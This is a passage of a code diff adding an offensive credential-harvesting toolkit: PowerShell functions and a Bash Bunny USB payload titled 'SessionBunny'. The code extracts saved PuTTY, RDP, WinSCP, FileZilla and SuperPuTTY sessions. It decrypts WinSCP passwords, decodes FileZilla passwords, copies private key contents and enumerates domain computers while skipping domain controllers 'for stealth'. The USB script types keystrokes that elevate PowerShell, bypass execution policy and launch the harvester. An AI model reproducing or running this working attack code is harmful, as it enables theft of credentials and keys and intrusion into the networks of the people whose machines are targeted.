$ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "RSA Tokens (sdtid)"
|
||||||
|
$ArrayOfsdtidFiles | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} # ProcessThoroughRemote
|
||||||
|
|
||||||
|
function ProcessPuTTYLocal($AllPuTTYSessions) {
|
||||||
|
|
||||||
|
# For each PuTTY saved session, extract the information we want
|
||||||
|
foreach($Session in $AllPuTTYSessions) {
|
||||||
|
|
||||||
|
$PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname
|
||||||
|
|
||||||
|
$PuTTYSessionObject.Source = $Source
|
||||||
|
$PuTTYSessionObject.Session = (Split-Path $Session -Leaf)
|
||||||
|
$PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
|
||||||
|
|
||||||
|
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
|
||||||
|
[void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "PuTTY Sessions"
|
||||||
|
$ArrayOfPuTTYSessions | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add the array of PuTTY session objects to UserObject
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
|
||||||
|
|
||||||
|
} # ProcessPuTTYLocal
|
||||||
|
|
||||||
|
function ProcessRDPLocal($AllRDPSessions) {
|
||||||
|
|
||||||
|
# For each RDP saved session, extract the information we want
|
||||||
|
foreach($Session in $AllRDPSessions) {
|
||||||
|
|
||||||
|
$PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
|
||||||
|
|
||||||
|
$MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username
|
||||||
|
|
||||||
|
$MicrosoftRDPSessionObject.Source = $Source
|
||||||
|
$MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf)
|
||||||
|
$MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint)
|
||||||
|
|
||||||
|
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
|
||||||
|
[void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject)
|
||||||
|
|
||||||
|
} # For each Session in AllRDPSessions
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "Microsoft Remote Desktop (RDP) Sessions"
|
||||||
|
$ArrayOfRDPSessions | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add the array of RDP session objects to UserObject
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions
|
||||||
|
|
||||||
|
} #ProcessRDPLocal
|
||||||
|
|
||||||
|
function ProcessWinSCPLocal($AllWinSCPSessions) {
|
||||||
|
|
||||||
|
# For each WinSCP saved session, extract the information we want
|
||||||
|
foreach($Session in $AllWinSCPSessions) {
|
||||||
|
|
||||||
|
$PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
|
||||||
|
|
||||||
|
$WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
|
||||||
|
|
||||||
|
$WinSCPSessionObject.Source = $Source
|
||||||
|
$WinSCPSessionObject.Session = (Split-Path $Session -Leaf)
|
||||||
|
$WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
|
||||||
|
$WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username)
|
||||||
|
$WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password)
|
||||||
|
|
||||||
|
if ($WinSCPSessionObject.Password) {
|
||||||
|
$MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword)
|
||||||
|
|
||||||
|
# If the user is not using a master password, we can crack it:
|
||||||
|
if (!$MasterPassUsed) {
|
||||||
|
$WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
|
||||||
|
# Else, the user is using a master password. We can't retrieve plaintext credentials for it.
|
||||||
|
} else {
|
||||||
|
$WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
|
||||||
|
[void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
|
||||||
|
|
||||||
|
} # For each Session in AllWinSCPSessions
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "WinSCP Sessions"
|
||||||
|
$ArrayOfWinSCPSessions | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add the array of WinSCP session objects to the target user object
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
|
||||||
|
|
||||||
|
} # ProcessWinSCPLocal
|
||||||
|
|
||||||
|
function ProcesssdtidFile($sdtidExtensionFilesINodes) {
|
||||||
|
|
||||||
|
foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) {
|
||||||
|
|
||||||
|
$sdtidFileObject = "" | Select-Object -Property "Source","Path"
|
||||||
|
|
||||||
|
$sdtidFileObject."Source" = $Source
|
||||||
|
$sdtidFileObject."Path" = $Path
|
||||||
|
|
||||||
|
[void]$ArrayOfsdtidFiles.Add($sdtidFileObject)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($ArrayOfsdtidFiles.count -gt 0) {
|
||||||
|
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "RSA Tokens (sdtid)"
|
||||||
|
$ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} # Process sdtid File
|
||||||
|
|
||||||
|
function ProcessRDPFile($RDPExtensionFilesINodes) {
|
||||||
|
|
||||||
|
# Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes
|
||||||
|
foreach ($Path in $RDPExtensionFilesINodes.VersionInfo.FileName) {
|
||||||
|
|
||||||
|
$RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session"
|
||||||
|
|
||||||
|
$RDPFileObject."Source" = (Hostname)
|
||||||
|
|
||||||
|
# The next several lines use regex pattern matching to store relevant info from the .rdp file into our object
|
||||||
|
$RDPFileObject."Path" = $Path
|
||||||
|
$RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
|
||||||
|
$RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
|
||||||
|
$RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
|
||||||
|
$RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
|
||||||
|
|
||||||
|
if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) {
|
||||||
|
$RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host"
|
||||||
|
} else {
|
||||||
|
$RDPFileObject."Administrative Session" = "Connects to admin session on remote host"
|
||||||
|
}
|
||||||
|
if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) {
|
||||||
|
$RDPFileObject."Prompts for Credentials" = "No"
|
||||||
|
} else {
|
||||||
|
$RDPFileObject."Prompts for Credentials" = "Yes"
|
||||||
|
}
|
||||||
|
|
||||||
|
[void]$ArrayOfRDPFiles.Add($RDPFileObject)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($ArrayOfRDPFiles.count -gt 0) {
|
||||||
|
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "Microsoft RDP Connection Files (.rdp)"
|
||||||
|
$ArrayOfRDPFiles | Select-Object * | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} # Process RDP File
|
||||||
|
|
||||||
|
function ProcessPPKFile($PPKExtensionFilesINodes) {
|
||||||
|
|
||||||
|
# Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes
|
||||||
|
foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) {
|
||||||
|
|
||||||
|
# Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is
|
||||||
|
$PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC"
|
||||||
|
|
||||||
|
$PPKFileObject."Source" = (Hostname)
|
||||||
|
|
||||||
|
# The next several lines use regex pattern matching to store relevant info from the .ppk file into our object
|
||||||
|
$PPKFileObject."Path" = $Path
|
||||||
|
|
||||||
|
$PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {}
|
||||||
|
$PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {}
|
||||||
|
$PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {}
|
||||||
|
$NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {}
|
||||||
|
$PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {}
|
||||||
|
$PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {}
|
||||||
|
|
||||||
|
# Add the object we just created to the array of .ppk file objects
|
||||||
|
[void]$ArrayOfPPKFiles.Add($PPKFileObject)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($ArrayOfPPKFiles.count -gt 0) {
|
||||||
|
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "PuTTY Private Key Files (.ppk)"
|
||||||
|
$ArrayOfPPKFiles | Select-Object * | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} # Process PPK File
|
||||||
|
|
||||||
|
function ProcessFileZillaFile($FileZillaXML) {
|
||||||
|
|
||||||
|
# Locate all <Server> nodes (aka session nodes), iterate over them
|
||||||
|
foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) {
|
||||||
|
# Hashtable to store each session's data
|
||||||
|
$FileZillaSessionHash = @{}
|
||||||
|
|
||||||
|
# Iterates over each child node under <Server> (aka session)
|
||||||
|
$FileZillaSession.ChildNodes | ForEach-Object {
|
||||||
|
|
||||||
|
$FileZillaSessionHash["Source"] = $Source
|
||||||
|
# If value exists, make a key-value pair for it in the hash table
|
||||||
|
if ($_.InnerText) {
|
||||||
|
if ($_.Name -eq "Pass") {
|
||||||
|
$FileZillaSessionHash["Password"] = $_.InnerText
|
||||||
|
} else {
|
||||||
|
# Populate session data based on the node name
|
||||||
|
$FileZillaSessionHash[$_.Name] = $_.InnerText
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create object from collected data, excluding some trivial information
|
||||||
|
[void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour))
|
||||||
|
|
||||||
|
} # ForEach FileZillaSession in FileZillaXML.SelectNodes()
|
||||||
|
|
||||||
|
# base64_decode the stored encoded session passwords, and decode protocol
|
||||||
|
foreach ($Session in $ArrayOfFileZillaSessions) {
|
||||||
|
$Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password))
|
||||||
|
if ($Session.Protocol -eq "0") {
|
||||||
|
$Session.Protocol = "Use FTP over TLS if available"
|
||||||
|
} elseif ($Session.Protocol -eq 1) {
|
||||||
|
$Session.Protocol = "Use SFTP"
|
||||||
|
} elseif ($Session.Protocol -eq 3) {
|
||||||
|
$Session.Protocol = "Require implicit FTP over TLS"
|
||||||
|
} elseif ($Session.Protocol -eq 4) {
|
||||||
|
$Session.Protocol = "Require explicit FTP over TLS"
|
||||||
|
} elseif ($Session.Protocol -eq 6) {
|
||||||
|
$Session.Protocol = "Only use plain FTP (insecure)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "FileZilla Sessions"
|
||||||
|
$ArrayOfFileZillaSessions | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add the array of FileZilla session objects to the target user object
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions
|
||||||
|
|
||||||
|
} # ProcessFileZillaFile
|
||||||
|
|
||||||
|
function ProcessSuperPuTTYFile($SuperPuTTYXML) {
|
||||||
|
|
||||||
|
foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) {
|
||||||
|
|
||||||
|
foreach ($SuperPuTTYSession in $SuperPuTTYSessions) {
|
||||||
|
if ($SuperPuTTYSession -ne $null) {
|
||||||
|
|
||||||
|
$SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session"
|
||||||
|
|
||||||
|
$SuperPuTTYSessionObject."Source" = $Source
|
||||||
|
$SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId
|
||||||
|
$SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName
|
||||||
|
$SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host
|
||||||
|
$SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username
|
||||||
|
$SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs
|
||||||
|
$SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port
|
||||||
|
$SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession
|
||||||
|
|
||||||
|
[void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} # ForEach SuperPuTTYSessions
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "SuperPuTTY Sessions"
|
||||||
|
$ArrayOfSuperPuTTYSessions | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add the array of SuperPuTTY session objects to the target user object
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions
|
||||||
|
|
||||||
|
} # ProcessSuperPuTTYFile
|
||||||
|
|
||||||
|
####################################################################################
|
||||||
|
####################################################################################
|
||||||
|
## WinSCP Deobfuscation Helper Functions
|
||||||
|
####################################################################################
|
||||||
|
####################################################################################
|
||||||
|
|
||||||
|
# Gets all domain-joined computer names and properties in one object
|
||||||
|
function GetComputersFromActiveDirectory {
|
||||||
|
|
||||||
|
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
|
||||||
|
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||||
|
$objSearcher.SearchRoot = $objDomain
|
||||||
|
if ($ExcludeDC) {
|
||||||
|
Write-Verbose "Skipping enumeration against the Domain Controller(s) for stealth."
|
||||||
|
$Filter = "(&(objectCategory=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))"
|
||||||
|
} else {
|
||||||
|
$Filter = "(objectCategory=computer)"
|
||||||
|
}
|
||||||
|
|
||||||
|
$objSearcher.Filter = $Filter
|
||||||
|
|
||||||
|
$colProplist = "name"
|
||||||
|
|
||||||
|
foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
|
||||||
|
|
||||||
|
$objSearcher.FindAll()
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function DecryptNextCharacterWinSCP($remainingPass) {
|
||||||
|
|
||||||
|
# Creates an object with flag and remainingPass properties
|
||||||
|
$flagAndPass = "" | Select-Object -Property flag,remainingPass
|
||||||
|
|
||||||
|
# Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions
|
||||||
|
$firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16)
|
||||||
|
$secondval = "0123456789ABCDEF".indexOf($remainingPass[1])
|
||||||
|
|
||||||
|
$Added = $firstval + $secondval
|
||||||
|
|
||||||
|
$decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256
|
||||||
|
|
||||||
|
$flagAndPass.flag = $decryptedResult
|
||||||
|
$flagAndPass.remainingPass = $remainingPass.Substring(2)
|
||||||
|
|
||||||
|
$flagAndPass
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) {
|
||||||
|
|
||||||
|
$CheckFlag = 255
|
||||||
|
$Magic = 163
|
||||||
|
|
||||||
|
$len = 0
|
||||||
|
$key = $SessionHostname + $SessionUsername
|
||||||
|
$values = DecryptNextCharacterWinSCP($Password)
|
||||||
|
|
||||||
|
$storedFlag = $values.flag
|
||||||
|
|
||||||
|
if ($values.flag -eq $CheckFlag) {
|
||||||
|
$values.remainingPass = $values.remainingPass.Substring(2)
|
||||||
|
$values = DecryptNextCharacterWinSCP($values.remainingPass)
|
||||||
|
}
|
||||||
|
|
||||||
|
$len = $values.flag
|
||||||
|
|
||||||
|
$values = DecryptNextCharacterWinSCP($values.remainingPass)
|
||||||
|
$values.remainingPass = $values.remainingPass.Substring(($values.flag * 2))
|
||||||
|
|
||||||
|
$finalOutput = ""
|
||||||
|
for ($i=0; $i -lt $len; $i++) {
|
||||||
|
$values = (DecryptNextCharacterWinSCP($values.remainingPass))
|
||||||
|
$finalOutput += [char]$values.flag
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($storedFlag -eq $CheckFlag) {
|
||||||
|
$finalOutput.Substring($key.length)
|
||||||
|
}
|
||||||
|
|
||||||
|
$finalOutput
|
||||||
|
}
|
Binary file not shown.
After Width: | Height: | Size: 51 KiB |
|
@ -0,0 +1,44 @@
|
||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# Title: SessionBunny
|
||||||
|
# Author: 0iphor13
|
||||||
|
# Version: 1.0
|
||||||
|
# Category: Credentials
|
||||||
|
# Attackmodes: HID, Storage
|
||||||
|
|
||||||
|
LED SETUP
|
||||||
|
|
||||||
|
Q DELAY 500
|
||||||
|
|
||||||
|
GET SWITCH_POSITION
|
||||||
|
DUCKY_LANG de
|
||||||
|
|
||||||
|
Q DELAY 500
|
||||||
|
|
||||||
|
ATTACKMODE HID STORAGE
|
||||||
|
|
||||||
|
#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING
|
||||||
|
|
||||||
|
LED STAGE1
|
||||||
|
|
||||||
|
Q DELAY 1000
|
||||||
|
RUN WIN "powershell Start-Process powershell -Verb runAs"
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 1000
|
||||||
|
Q ALT j
|
||||||
|
Q DELAY 500
|
||||||
|
|
||||||
|
Q DELAY 1000
|
||||||
|
Q STRING "powershell -exec bypass"
|
||||||
|
Q DELAY 500
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 250
|
||||||
|
Q STRING "Import-Module((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\SessionBunny.ps1')"
|
||||||
|
Q DELAY 250
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 250
|
||||||
|
Q STRING "Invoke-SessionBunny -Everything"
|
||||||
|
Q DELAY 250
|
||||||
|
Q ENTER
|
||||||
|
|
||||||
|
LED FINISH
|
Loading…
Reference in New Issue